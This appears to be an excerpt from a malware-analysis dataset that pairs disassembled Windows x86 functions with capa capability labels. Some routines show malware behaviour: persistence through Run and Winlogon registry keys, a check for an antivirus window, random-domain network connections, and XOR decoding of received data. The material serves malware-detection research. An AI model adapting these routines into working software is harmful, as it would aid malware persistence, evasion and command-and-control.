joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4010f7
Capabilities:
Delete file
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
push eax
mov eax, 0x1004
call fcn.00405ba0
mov eax, dword [esp + 0x1004]
push 0
mov edi, edx
push 0
push 3
push 0
push 1
push 0x80000000
push eax
call sub.KERNEL32.DLL_CreateFileA
test eax, eax
mov esi, eax
je 0x4011c2
cmp eax, 0xffffffff
je 0x4011c2
push pe_nt_image_headers32
push edi
call sub.KERNEL32.DLL_SetFileAttributesA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push edi
call sub.KERNEL32.DLL_CreateFileA
test eax, eax
mov ebx, eax
je 0x4011c2
cmp eax, 0xffffffff
jne 0x401195
jmp 0x4011c2
push esi
call sub.KERNEL32.DLL_CloseHandle
push ebx
call sub.KERNEL32.DLL_CloseHandle
mov eax, 1
jmp 0x4011c4
push 0
lea eax, [esp + 8]
push eax
push dword [esp + 8]
push ebp
push ebx
call sub.KERNEL32.DLL_WriteFile
cmp dword [esp], 0xfff
jbe 0x401167
push 0
lea eax, [esp + 4]
push eax
push 0x1000
lea ebp, [esp + 0x14]
push ebp
push esi
call sub.KERNEL32.DLL_ReadFile
test eax, eax
jne 0x40117a
push esi
call sub.KERNEL32.DLL_CloseHandle
push ebx
call sub.KERNEL32.DLL_CloseHandle
push edi
call sub.KERNEL32.DLL_DeleteFileA
xor eax, eax
add esp, 0x1008
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4011cf
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push edi
push esi
push ebx
push eax
mov eax, 0x1300
call fcn.00405ba0
mov eax, dword [esp + 0x1300]
mov esi, edx
mov edi, eax
mov eax, esp
push eax
push 0x20019
push 0
push edx
push edi
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x401240
jmp 0x40121c
push ebx
push esi
push str._s_s
lea ebx, [esp + 0x10]
push ebx
call sub.USER32.dll_wsprintfA
mov edx, ebx
mov eax, edi
call fcn.004011cf
add esp, 0x10
push 0x300
lea ebx, [esp + 0x1008]
push ebx
push 0
push dword [esp + 0xc]
call sub.ADVAPI32.DLL_RegEnumKeyA
test eax, eax
je 0x4011ff
push dword [esp]
call sub.ADVAPI32.DLL_RegCloseKey
push esi
push edi
call sub.ADVAPI32.DLL_RegDeleteKeyA
add esp, 0x1304
pop ebx
pop esi
pop edi
ret

Function at 0x401251
Capabilities:
Set registry value

Disassembly:
push ebp
push edi
push esi
push ebx
push eax
mov eax, 0x4ffc
call fcn.00405ba0
cmp dword [0x40c0d0], 2
mov eax, dword [esp + 0x4ffc]
mov esi, eax
jne 0x4012b7
mov ecx, esp
mov edi, esp
lea ebx, [esp + 0x4ffe]
cmp ecx, ebx
jae 0x40129c
mov eax, ecx
mov edx, 0xa
sub eax, edi
sar eax, 1
mov ebp, edx
cdq
idiv ebp
add edx, 0x30
mov word [ecx], dx
add ecx, 2
jmp 0x40127d
mov word [ecx], 0
push 4
push 0x40b038
push 1
push 0
lea eax, [esp + 0x10]
push eax
push esi
call sub.ADVAPI32.DLL_RegSetValueExW
add esp, 0x5000
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4012c2
Capabilities:
Delete file
Set file attributes

Disassembly:
push edi
mov edi, eax
push esi
mov esi, 0x40aa7c
push ebx
sub esp, 0x210
cmp dword [0x40aa7c], 0
je 0x401307
push dword [esi]
add esi, 4
push edi
lea ebx, [esp + 8]
push ebx
call sub.KERNEL32.DLL_lstrcpyA
push eax
call sub.KERNEL32.DLL_lstrcatA
push pe_nt_image_headers32
push ebx
call sub.KERNEL32.DLL_SetFileAttributesA
push ebx
call sub.KERNEL32.DLL_DeleteFileA
cmp dword [esi], 0
jmp 0x4012d9
add esp, 0x210
pop ebx
pop esi
pop edi
ret
Function at 0x40187b
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
push edi
mov edi, edx
push esi
push ebx
sub esp, 0x120
mov ebp, dword [esp + 0x134]
mov dword [esp + 4], eax
mov dword [esp], 0
mov dword [esp + 0x10], 0
test ebp, ebp
je 0x40196b
mov edx, dword [esp + 0x10]
xor eax, eax
cmp eax, edx
jae 0x4018c0
mov ecx, dword [esp + 4]
cmp dword [esp + eax*4 + 0x14], ecx
je 0x4018c0
inc eax
jmp 0x4018af
cmp eax, edx
jne 0x4018d6
cmp eax, 0x3f
ja 0x4018d6
mov edx, dword [esp + 4]
mov dword [esp + eax*4 + 0x14], edx
inc eax
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov ecx, dword [esp + 0x138]
lea eax, [esp + 8]
mov dword [esp + 8], ecx
push eax
push 0
push 0
lea eax, [esp + 0x1c]
push eax
push 0
call sub.WS2_32.DLL_select
dec eax
jne 0x40196b
push 2
push ebp
push edi
push dword [esp + 0x10]
call sub.WS2_32.DLL_recv
test eax, eax
mov ebx, eax
jle 0x40196b
mov esi, edi
cmp byte [esi], 0xa
jne 0x401948
push 0
sub ebx, eax
lea eax, [ebx + 1]
push eax
push edi
push dword [esp + 0x10]
call sub.WS2_32.DLL_recv
test ebx, ebx
je 0x40193e
cmp byte [esi - 1], 0xd
jne 0x40193e
mov byte [esi - 1], 0
dec ebx
jmp 0x401941
mov byte [esi], 0
mov eax, dword [esp]
add eax, ebx
jmp 0x401978
inc esi
dec eax
jne 0x401916
push 0
sub ebp, ebx
cmp ebp, 1
sbb ebx, 0
push ebx
push edi
add edi, ebx
push dword [esp + 0x10]
call sub.WS2_32.DLL_recv
add dword [esp], ebx
jmp 0x4018a1
mov byte [edi], 0
mov eax, dword [esp]
test eax, eax
jne 0x401978
or eax, 0xffffffff
add esp, 0x120
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x401983
Capabilities:
Connect socket
Get socket status
Set socket configuration

Disassembly:
push edi
push esi
mov esi, eax
push ebx
sub esp, 0x124
mov ebx, edx
mov dword [esp + 0x10], 1
lea edi, [esp + 0x10]
push edi
push 0x8004667e
push eax
call sub.WS2_32.DLL_ioctlsocket
mov dword [esp + 0x10], 0
push 0x10
push ebx
push esi
call sub.WS2_32.DLL_connect
test eax, eax
jne 0x4019d0
push edi
push 0x8004667e
push esi
call sub.WS2_32.DLL_ioctlsocket
xor eax, eax
jmp 0x401a7e
call sub.WS2_32.DLL_WSAGetLastError
cmp eax, 0x2733
je 0x4019f0
push edi
push 0x8004667e
push esi
call sub.WS2_32.DLL_ioctlsocket
or eax, 0xffffffff
jmp 0x401a7e
mov dword [esp + 0x18], esi
mov eax, dword [esp + 0x134]
mov dword [esp + 0x14], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x18]
push eax
push eax
push 0
push 0
call sub.WS2_32.DLL_select
mov dword [esp], eax
push edi
push 0x8004667e
push esi
call sub.WS2_32.DLL_ioctlsocket
or eax, 0xffffffff
cmp dword [esp], 1
jne 0x401a7e
mov dword [esp + 4], 4
lea eax, [esp + 4]
push eax
lea eax, [esp + 4]
push eax
push 0x1007
push 0xffff
push esi
call sub.WS2_32.DLL_getsockopt
inc eax
je 0x401a79
mov eax, dword [esp]
test eax, eax
setne dl
cmp eax, 0x2748
setne al
movzx eax, al
xor ecx, ecx
test edx, eax
je 0x401a7c
or ecx, 0xffffffff
mov eax, ecx
add esp, 0x124
pop ebx
pop esi
pop edi
ret
Function at 0x401a88
Capabilities:
Query or enumerate registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov eax, 0x201c
push edi
push esi
push ebx
call fcn.00405ba0
cmp byte [0x40c010], 0
je 0x401c33
push 0
mov ebp, 1
lea eax, [esp + 0x1c]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push 0x40a8c0
push 0x80000001
call sub.ADVAPI32.DLL_RegCreateKeyExA
mov dword [esp], 0
test eax, eax
je 0x401c03
jmp 0x401c33
push ebx
call sub.KERNEL32.DLL_lstrlenA
cmp eax, 0x10
jle 0x401c00
mov edx, 0x40a95d
mov eax, ebx
call fcn.00401311
test eax, eax
jne 0x401c00
lea eax, [esp + 0x14]
push eax
push 0x20019
push 0
push 0x40a920
push ebx
call sub.KERNEL32.DLL_lstrcatA
push eax
push 0x80000003
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x401c00
mov dword [esp + 0x10], 0x1000
lea eax, [esp + 0x10]
push eax
push ebx
lea eax, [esp + 0x14]
push eax
push 0
push 0x40a896
push dword [esp + 0x28]
call sub.ADVAPI32.DLL_RegQueryValueExA
test eax, eax
jne 0x401bf7
movzx eax, byte [esp + 0x101c]
test al, al
je 0x401bf7
cmp al, 0x30
je 0x401bf7
lea eax, [esp + 8]
xor ebx, ebx
push eax
push 0x20019
push 0
push 0x40a88a
push dword [esp + 0x24]
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
je 0x401ba7
jmp 0x401bf7
push dword [esp + 4]
inc ebx
push edi
push dword [esp + 0x14]
push 0
push esi
push dword [esp + 0x2c]
call sub.ADVAPI32.DLL_RegSetValueExA
mov dword [esp + 0x10], 0x1000
lea eax, [esp + 4]
mov dword [esp + 4], 0x1000
push eax
lea edi, [esp + 0x20]
push edi
lea eax, [esp + 0x14]
push eax
push 0
lea eax, [esp + 0x20]
push eax
lea esi, [esp + 0x1030]
push esi
push ebx
push dword [esp + 0x24]
call sub.ADVAPI32.DLL_RegEnumValueA
test eax, eax
je 0x401b91
push dword [esp + 8]
xor eax, eax
test ebx, ebx
sete al
neg eax
and ebp, eax
call sub.ADVAPI32.DLL_RegCloseKey
push dword [esp + 0x14]
call sub.ADVAPI32.DLL_RegCloseKey
inc dword [esp]
test ebp, ebp
je 0x401c2a
push 0x1000
lea ebx, [esp + 0x1020]
push ebx
push dword [esp + 8]
push 0x80000003
call sub.ADVAPI32.DLL_RegEnumKeyA
test eax, eax
je 0x401adf
push dword [esp + 0x18]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0x201c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x402056
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, edx
push edi
mov edi, eax
push esi
push ebx
sub esp, 0x120
mov esi, dword [esp + 0x134]
cmp dword [eax], 0
je 0x40208e
lea eax, [esp + 0xc]
push eax
push esi
push edx
push dword [edi + 4]
call dword [0x40c1c0]
test eax, eax
jne 0x4020d8
mov dword [esp + 0xc], 0xffffffff
jmp 0x4020d8
mov ebx, dword [eax + 4]
mov dword [esp + 4], 0x28
mov dword [esp + 8], 0
mov dword [esp + 0x14], ebx
lea eax, [esp + 4]
mov dword [esp + 0x10], 1
push eax
push 0
push 0
lea eax, [esp + 0x1c]
push eax
push 0
call sub.WS2_32.DLL_select
or edx, 0xffffffff
dec eax
jne 0x4020d4
push 0
push esi
push ebp
push ebx
call sub.WS2_32.DLL_recv
mov edx, eax
mov dword [esp + 0xc], edx
mov ecx, dword [esp + 0xc]
test ecx, ecx
setne al
xor edx, edx
cmp ecx, 0xffffffff
setne dl
test eax, edx
je 0x4021a0
cmp dword [edi + 0x10], 0
je 0x4021a0
mov eax, dword [edi + 8]
mov ebx, ecx
mov esi, ebp
mov dword [esp], eax
mov eax, dword [edi + 0xc]
cmp eax, 2
je 0x40212c
jg 0x402114
dec eax
je 0x40211b
jmp 0x40215e
cmp eax, 3
je 0x402144
jmp 0x40215e
movzx eax, byte [esp + 1]
inc esi
xor byte [ebp], al
dec ebx
jne 0x40212c
inc dword [edi + 0xc]
jmp 0x402140
movzx eax, byte [esp + 2]
mov edx, esi
inc esi
xor byte [edx], al
dec ebx
jne 0x402144
mov dword [edi + 0xc], 3
mov eax, ecx
jmp 0x4021a4
movzx edx, byte [esp + 3]
mov eax, esi
dec ebx
inc esi
xor byte [eax], dl
mov edx, 4
mov eax, esp
call fcn.0040202d
mov dword [esp], eax
cmp ebx, 3
jbe 0x402170
mov eax, dword [esp]
sub ebx, 4
xor dword [esi], eax
add esi, 4
jmp 0x40214f
mov dword [edi + 0xc], ebx
cmp ebx, 2
je 0x40218c
jg 0x40217f
dec ebx
je 0x402194
jmp 0x40219a
cmp ebx, 3
jne 0x40219a
movzx eax, byte [esp + 2]
xor byte [esi + 2], al
movzx eax, byte [esp + 1]
xor byte [esi + 1], al
movzx eax, byte [esp]
xor byte [esi], al
mov eax, dword [esp]
mov dword [edi + 8], eax
mov eax, dword [esp + 0xc]
add esp, 0x120
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x402646
Capabilities:
Create tcp socket
Resolve dns

Disassembly:
push esi
push ebx
sub esp, 0x64
lea esi, [esp + 0x44]
call fcn.004010b2
mov edx, 0xa
mov ecx, edx
xor edx, edx
div ecx
add edx, 5
test edx, edx
mov dword [esp], edx
je 0x40268d
call fcn.004010b2
mov edx, 0x1a
mov ebx, esi
mov ecx, edx
xor edx, edx
inc esi
div ecx
mov al, dl
add al, 0x61
mov byte [ebx], al
mov eax, dword [esp]
dec eax
mov dword [esp], eax
test eax, eax
jmp 0x402667
mov byte [esi], 0x2e
inc esi
call fcn.004010b2
mov edx, 9
mov ecx, edx
xor edx, edx
div ecx
push dword [edx*4 + 0x40aec0]
push esi
call sub.KERNEL32.DLL_lstrcpyA
cmp dword [0x40c040], 4
ja 0x40272a
lea eax, [esp + 0x44]
push eax
call sub.WS2_32.DLL_gethostbyname
test eax, eax
mov ebx, eax
je 0x40272a
mov eax, dword [eax + 0xc]
cmp dword [eax], 0
je 0x40272a
push 0x50
call sub.WS2_32.DLL_htons
mov word [esp + 6], ax
mov eax, dword [ebx + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 8], eax
push 6
push 1
mov word [esp + 0xc], 2
push 2
call sub.WS2_32.DLL_socket
cmp eax, 0xffffffff
mov ebx, eax
je 0x40272a
lea edx, [esp + 4]
push 0x28
call fcn.00401983
mov dword [esp + 4], eax
push ebx
call sub.WS2_32.DLL_closesocket
pop ecx
cmp dword [esp], 0
jne 0x40272a
mov dword [0x40c040], 0
jmp 0x4027d6
cmp dword [0x40c1a0], 0
je 0x4027e1
call fcn.00401a88
push 0
push 0
push 0
push 4
push 0x40a520
call dword [0x40c1a0]
test eax, eax
mov esi, eax
je 0x4027e1
mov dword [esp], 0x9c40
push 4
lea ebx, [esp + 4]
push ebx
push 2
push eax
call dword [0x40c1d0]
push 4
push ebx
push 6
push esi
call dword [0x40c1d0]
push 4
push ebx
push 5
push esi
call dword [0x40c1d0]
lea eax, [esp + 0x44]
push eax
push 0x40a2a5
lea ebx, [esp + 0x1c]
push ebx
call sub.USER32.dll_wsprintfA
push 0
push 0x84280300
push 0
push 0
push ebx
push esi
call dword [0x40c1b0]
add esp, 0xc
test eax, eax
mov edx, eax
je 0x4027da
mov eax, dword [0x40c040]
cmp eax, 4
ja 0x4027c8
inc eax
mov dword [0x40c040], eax
push edx
call dword [0x40c1e0]
push esi
call dword [0x40c1e0]
xor eax, eax
jmp 0x4027e4
push esi
call dword [0x40c1e0]
or eax, 0xffffffff
add esp, 0x64
pop ebx
pop esi
ret
Function at 0x403305
Capabilities:
Query or enumerate registry value

Disassembly:
push esi
push ebx
sub esp, 0xc
mov ebx, eax
lea esi, [esp + 8]
push esi
push 0x2001f
push 0
push 0x40a480
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x40335b
mov dword [esp + 4], 0x22a
lea eax, [esp + 4]
push eax
push ebx
lea eax, [esp + 8]
push eax
push 0
push 0x40a3d0
push dword [esp + 0x1c]
call sub.ADVAPI32.DLL_RegQueryValueExA
test eax, eax
je 0x40339d
push dword [esp + 8]
call sub.ADVAPI32.DLL_RegCloseKey
push esi
push 0x2001f
push 0
push 0x40a480
push 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x4033ac
mov dword [esp + 4], 0x22a
lea eax, [esp + 4]
push eax
push ebx
lea eax, [esp + 8]
push eax
push 0
push 0x40a3d0
push dword [esp + 0x1c]
call sub.ADVAPI32.DLL_RegQueryValueExA
test eax, eax
jne 0x4033a3
mov eax, dword [esp + 8]
jmp 0x4033ae
push dword [esp + 8]
call sub.ADVAPI32.DLL_RegCloseKey
xor eax, eax
add esp, 0xc
pop ebx
pop esi
ret

Function at 0x4034c9
Capabilities:
Enumerate processes

Disassembly:
push ebp
push edi
push esi
xor esi, esi
push ebx
sub esp, 0x130
mov ebp, dword [esp + 0x144]
mov edi, dword [esp + 0x148]
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
test eax, eax
mov ebx, eax
je 0x40353d
mov dword [esp], 0x128
mov eax, esp
push eax
push ebx
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x403537
push ebp
lea eax, [esp + 0x28]
call fcn.004010dc
push eax
call sub.KERNEL32.DLL_lstrcmpiA
test eax, eax
jne 0x40352c
push edi
push dword [esp + 0xc]
call fcn.004033b4
pop edx
cmp eax, 1
sbb esi, 0xffffffff
pop ecx
mov eax, esp
push eax
push ebx
call sub.KERNEL32.DLL_Process32Next
jmp 0x403502
push ebx
call sub.KERNEL32.DLL_CloseHandle
add esp, 0x130
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x401887
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x134
push 0x4012d0
call fcn.004025ec
mov eax, dword [0x403094]
mov dword [ebp - 0x1c], eax
push 0x25
pop ecx
xor eax, eax
lea edi, [ebp - 0x138]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x138], 0x94
lea eax, [ebp - 0x138]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x4019c6
cmp dword [ebp - 0x128], 2
jne 0x4019c6
push 4
pop eax
cmp dword [ebp - 0x134], eax
jne 0x4019c6
and dword [ebp - 0x140], 0
mov dword [ebp - 0x13c], eax
lea eax, [ebp - 0x13c]
push eax
lea eax, [ebp - 0x140]
push eax
push 0
push 0x4012c0
push 0x401294
mov edi, 0x80000002
push edi
mov esi, dword [sym.imp.SHLWAPI.dll_SHGetValueA]
call esi
test eax, eax
jne 0x4019c6
cmp word [ebp - 0x140], 0x300
jne 0x4019c6
mov ebx, 0x88
mov dword [ebp - 0x13c], ebx
lea eax, [ebp - 0x13c]
push eax
lea eax, [ebp - 0xa4]
push eax
push 0
push 0x401288
push 0x401228
push edi
call esi
test eax, eax
jne 0x4019c6
cmp dword [ebp - 0x13c], ebx
jne 0x4019c6
mov ecx, ebx
lea edi, [ebp - 0xa4]
mov esi, 0x403008
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x40197e
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4019c6
push 0x40121c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x144], eax
test eax, eax
je 0x4019c6
push 0x401208
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4019ba
and dword [ebp - 4], 0
call eax
jmp 0x4019b6
or dword [ebp - 4], 0xffffffff
push dword [ebp - 0x144]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 0x1c]
call fcn.004024d3
call fcn.00402627
ret
Function at 0x401130
Capabilities:
Get disk information
Persist via run registry key
Persist via winlogon helper dll registry key
Query environment variable
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
push ebx
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x20f]
push ebx
push eax
mov dword [ebp - 4], ebx
mov byte [ebp - 0x210], bl
call sub.MSVCRT.dll_memset
push 0xff
lea ecx, [ebp - 0x313]
push ebx
push ecx
mov dword [ebp - 8], 0xff0ff
mov byte [ebp - 0x314], bl
call sub.MSVCRT.dll_memset
xor edx, edx
add esp, 0x18
mov word [ebp - 0x214], dx
cmp esi, ebx
je 0x4012ce
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x401280
push ebx
lea eax, [ebp - 4]
push eax
push ebx
push 0x102
push ebx
push ebx
push ebx
push 0x4044f4
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4012b6
push 0x104
lea ecx, [ebp - 0x10c]
push ecx
push 0x4044e8
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
push ebx
push ebx
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov edx, dword [ebp - 8]
push edx
push 0x40452c
lea eax, [ebp - 0x10c]
push 0x104
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
lea edx, [ebp - 0x210]
add esp, 0x10
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x401221
lea eax, [ebp - 0x10c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401234
sub eax, edx
push edi
mov edi, eax
lea ebx, [ebp - 0x10c]
lea eax, [ebp - 0x314]
call fcn.00401690
lea edx, [ebp - 0x210]
mov ecx, edx
call fcn.004016d0
mov eax, dword [ebp - 4]
push 0x104
lea ecx, [ebp - 0x210]
push ecx
push 1
push 0
mov edx, ebx
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xor ebx, ebx
pop edi
jmp 0x4012b6
lea ecx, [ebp - 4]
push ecx
push 0x102
push ebx
push 0x404530
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4012b6
mov edx, dword [ebp - 4]
push 0x104
push esi
push 1
push ebx
push 0x404560
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x4012ce
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402b70
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
call section..text
push 0x404f1c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x104
lea eax, [ebp - 0x10c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call fcn.00403920
test eax, eax
je 0x402bb1
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004021b0
call fcn.004020c0
push 0
push str.____AVP.Root
call dword [sym.imp.USER32.dll_FindWindowA]
mov esi, eax
test esi, esi
je 0x402be6
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0x10001
push 0x466
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
call fcn.00402340
call fcn.00402430
call fcn.00402520
call fcn.00402660
mov edi, dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
call edi
test eax, eax
jne 0x402c17
call fcn.004033b0
test eax, eax
je 0x402c17
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call edi
push 0x4045b8
mov ebx, eax
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x402c50
push 0x4045c8
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x402c50
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 8], 0
je 0x402ca2
test ebx, ebx
je 0x402c70
push str._apppatch_
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x402c93
lea esi, [ebp - 0x10c]
call fcn.00401130
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call fcn.00401b70
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402db4
call fcn.004028b0
call fcn.00401520
jmp 0x402db4
test ebx, ebx
je 0x402d59
push str._apppatch_
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x402cfd
lea esi, [ebp - 0x10c]
call fcn.00401130
push 0x404ea0
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
jne 0x402db4
push 0x404ea0
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
call edi
test eax, eax
je 0x402d95
lea ecx, [ebp - 1]
push ecx
jmp 0x402d89
call fcn.004028b0
push 0x404ea0
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
jne 0x402d52
push 0x404ea0
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
call edi
test eax, eax
je 0x402d33
lea edx, [ebp - 1]
push edx
push 0
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
call edi
test eax, eax
mov eax, 0x404ebc
jne 0x402d43
mov eax, 0x404ecc
push eax
call fcn.00401aa0
test eax, eax
je 0x402d52
call fcn.00401b70
call fcn.00401520
jmp 0x402db4
lea esi, [ebp - 0x10c]
call fcn.00401130
push 0x404ea0
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
jne 0x402db4
push 0x404ea0
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
call edi
test eax, eax
je 0x402d95
lea eax, [ebp - 1]
push eax
push 0
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
call edi
test eax, eax
mov eax, 0x404ebc
jne 0x402da5
mov eax, 0x404ecc
push eax
call fcn.00401aa0
test eax, eax
je 0x402db4
call fcn.00401b70
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x403ad0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push esi
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
xor eax, 0xffffffff
test ecx, ecx
mov esi, dword [ebp + 8]
je 0x403af9
xor al, byte [esi]
movzx edx, al
shr eax, 8
mov edx, dword [edx*4 + section..data]
inc esi
xor eax, edx
dec ecx
jne 0x403ae4
xor eax, 0xffffffff
pop esi
leave
ret 0xc
Function at 0x401717
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push dword [ebp + 8]
mov esi, ecx
lea ecx, [esi + 8]
call fcn.004087e0
push dword [ebp + 0xc]
lea edi, [esi + 0xc]
mov ecx, edi
call fcn.00401506
push 0x5c
mov ecx, edi
call fcn.00401606
xor edi, edi
lea eax, [ebp - 4]
push eax
push edi
push esi
push 0x401479
push edi
push edi
mov dword [0x41a5b8], esi
mov dword [0x41a5c0], edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x41a5e8], 2
mov dword [0x41a5bc], eax
je 0x401774
call fcn.0040796a
push 0xffffffffffffffff
push dword [0x41a5bc]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [0x41a5c0]
cmp eax, edi
mov dword [0x41a654], edi
je 0x4017c4
cmp eax, 1
je 0x4017b8
cmp eax, 2
je 0x4017b4
cmp eax, 3
je 0x4017b0
cmp eax, 0x67
jle 0x4017aa
cmp eax, 0x6a
jle 0x401819
push eax
push 0x14
push edi
jmp 0x401811
push 0x12
jmp 0x4017ba
push 0x13
jmp 0x4017ba
push 0x11
push edi
call fcn.0040783e
pop ecx
pop ecx
jmp 0x401819
cmp dword [0x41a658], edi
jne 0x401819
lea eax, [ebp + 8]
push eax
push dword [0x41a5bc]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
mov ecx, dword [ebp + 8]
je 0x4017eb
cmp ecx, edi
jne 0x4017eb
xor eax, eax
jmp 0x40181e
mov eax, 0x80070000
mov edx, ecx
and edx, eax
cmp edx, eax
je 0x4017fd
push ecx
push 0x21
jmp 0x4017ad
and ecx, 0xffff
push ecx
call dword [sym.imp.KERNEL32.dll_SetLastError]
push dword [ebp + 8]
push 0x22
push 1
call fcn.0040783e
add esp, 0xc
mov eax, 0x80004005
pop edi
pop esi
leave
ret 8

Function at 0x401b99
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
push 0
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x401bda
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, 0xb7
cmp eax, esi
je 0x401bbc
push eax
jmp 0x401bd0
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401bda
test al, 0x10
jne 0x401bda
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
pop esi
ret
xor eax, eax
inc eax
pop esi
ret